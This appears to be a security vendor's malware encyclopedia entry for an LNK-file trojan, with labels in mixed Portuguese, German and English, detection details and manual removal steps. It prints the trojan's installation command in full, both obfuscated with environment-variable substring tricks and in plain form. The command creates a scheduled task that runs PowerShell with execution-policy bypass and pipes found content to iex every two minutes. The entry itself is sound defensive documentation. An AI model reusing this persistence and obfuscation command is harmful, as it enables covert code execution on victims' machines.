Analisado por: Karen Ivy Titiwa   
 

HEUR:Trojan.WinLNK.Rufus.gen (KASPERSKY); Trojan.LNK.Agent (IKARUS)

 Plataforma:

Windows

 Classificao do risco total:
 Potencial de dano:
 Potencial de distribuição:
 infecção relatada:
 Exposição das informações:
Baixo
Medium
Alto
Crítico

  • Tipo de grayware:
    Trojan

  • Destrutivo:
    Não

  • Criptografado:
     

  • In the Wild:
    Sim

  Visão geral

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  Detalhes técnicos

Tipo de compactação: 1,742 bytes
Tipo de arquivo: LNK
Residente na memória: Sim
Data de recebimento das amostras iniciais: 06 agosto 2019

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Fügt die folgenden Prozesse hinzu:

  • %System%\cmd.exe" /c %os:~6,1%chta%os:~6,1%ks /F /Create /TN "GO" /sc minute /MO 2 /ST 06:21 /TR "pow%tmp:~5,3%hell -ep bypass -%os:~0,3% 1 -c '&{cd %User Profile%; $g=F%os:~1,3%STR /S FOREGROUND agos*.* |%os:~6,1%elect -first 1;$g |iex}'";
  • schtasks /F /Create /TN "GO" /sc minute /MO 2 /ST 06:21 /TR "powershell -ep bypass -Win 1 -c '&{cd %User Profile%; $g=FindSTR /S FOREGROUND agos*.* |select -first 1;$g |iex}'";

(Hinweis: %User Profile% ist der Ordner für Benutzerprofile des aktuellen Benutzers, normalerweise C:\Windows\Profile\{Benutzername} unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername} unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername} unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{user name} unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)

Andere Details

Es macht Folgendes:

  • It adds the following scheduled tasks:
    • Task Name = GO
    • Trigger = At 6:21 AM {execution date} - After triggered, repeat every 00:02:00 indefinitely
    • Action = powershell -ep bypass -Win 1 -c "&{cd C:\Users\dyituser_732; $g=FindSTR /S FOREGROUND agos*.* |select -first 1;$g |iex}"

  Solução

Mecanismo de varredura mínima: 9.850
Primeiro arquivo padrão VSAPI: 15.284.02
Data do lançamento do primeiro padrão VSAPI: 07 agosto 2019
VSAPI OPR Pattern Version: 15.285.00
VSAPI OPR Pattern veröffentlicht am: 08 agosto 2019

Step 1

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 2

Für Windows ME und XP Benutzer: Stellen Sie vor einer Suche sicher, dass die Systemwiederherstellung deaktiviert ist, damit der gesamte Computer durchsucht werden kann.

Step 3

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Task Name = GO
  • Trigger = At 6:21 AM {execution date} - After triggered, repeat every 00:02:00 indefinitely
  • Action = powershell -ep bypass  -Win 1 -c "&{cd C:\Users\dyituser_732; $g=FindSTR /S FOREGROUND agos*.* |select -first 1;$g |iex}"

    • For Windows 2000, Windows XP, and Windows Server 2003:

    1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
      System Tools>Scheduled Tasks.
    2. Locate each {Task Name} values listed above in the Name column.
    3. Right-click on the said file(s) with the aforementioned value.
    4. Click on Properties. In the Run field, check for the listed {Task to be run}.
    5. If the strings match the list above, delete the task.

    For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

    1. Open the Windows Task Scheduler. To do this:
      • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
      • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
    2. In the left panel, click Task Scheduler Library.
    3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
    4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
    5. If the said string is found, delete the task.

    Step 4

    Durchsuchen Sie Ihren Computer mit Ihrem Trend Micro Produkt, und säubern Sie Dateien, die als Trojan.LNK.POWLOAD.AUSJSB entdeckt werden. Falls die entdeckten Dateien bereits von Ihrem Trend Micro Produkt gesäubert, gelöscht oder in Quarantäne verschoben wurden, sind keine weiteren Schritte erforderlich. Sie können die in Quarantäne verschobenen Dateien einfach löschen. Auf dieser Knowledge-Base-Seite finden Sie weitere Informationen.


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